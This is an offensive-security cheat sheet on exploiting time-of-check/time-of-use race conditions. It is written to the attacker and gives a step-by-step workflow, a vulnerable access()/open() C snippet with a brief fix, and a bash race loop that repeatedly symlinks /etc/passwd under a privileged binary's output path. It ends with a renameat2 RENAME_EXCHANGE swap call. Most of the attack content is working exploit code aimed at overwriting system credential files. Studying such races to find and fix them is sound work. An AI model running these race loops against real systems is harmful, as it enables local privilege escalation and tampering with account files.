TOCTOU, Time-of-Check / Time-of-Use Exploitation

A TOCTOU bug exists wherever code checks a property (file owner, path target, token validity, balance) and then acts on it as if the property still holds. Between check and use is a window, your job is to widen it and swap the underlying object.

Quick Workflow

1. Identify the check (syscall, function, validation step) and the use (the privileged action)
2. Confirm the check and use don't operate on the same kernel object (FD, inode, atomic snapshot)
3. Build a primitive that swaps the object between check and use (symlink, mount, mv, parallel request)
4. Widen the window with FUSE, slow filesystems, scheduler tricks, or single-packet HTTP/2
5. Run a tight loop and confirm the post-use state corresponds to the swapped target

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The Core Pattern

// Vulnerable
if (access(path, W_OK) == 0) {     // check, resolves "path" now
    fd = open(path, O_WRONLY);     // use, re-resolves "path" later
    write(fd, attacker_data, n);
}

Between access and open, an attacker replaces path with a symlink to /etc/shadow. The check sees an attacker-owned file; the use opens shadow as root.

The fix is always: operate on the kernel object, not the path. Use O_NOFOLLOW, openat with AT_SYMLINK_NOFOLLOW, fstat on the FD, etc.

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Filesystem TOCTOU

Symlink Swap (Classic)

# Setup target, privileged binary that writes to user-supplied path after access() check
victim --output /tmp/.attacker/output

# Race loop
while true; do
  ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null
  ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null
done &

# Run victim repeatedly
while true; do victim --output /tmp/.attacker/output; done

renameat2(RENAME_EXCHANGE), Atomic Single-Frame Swap

syscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE);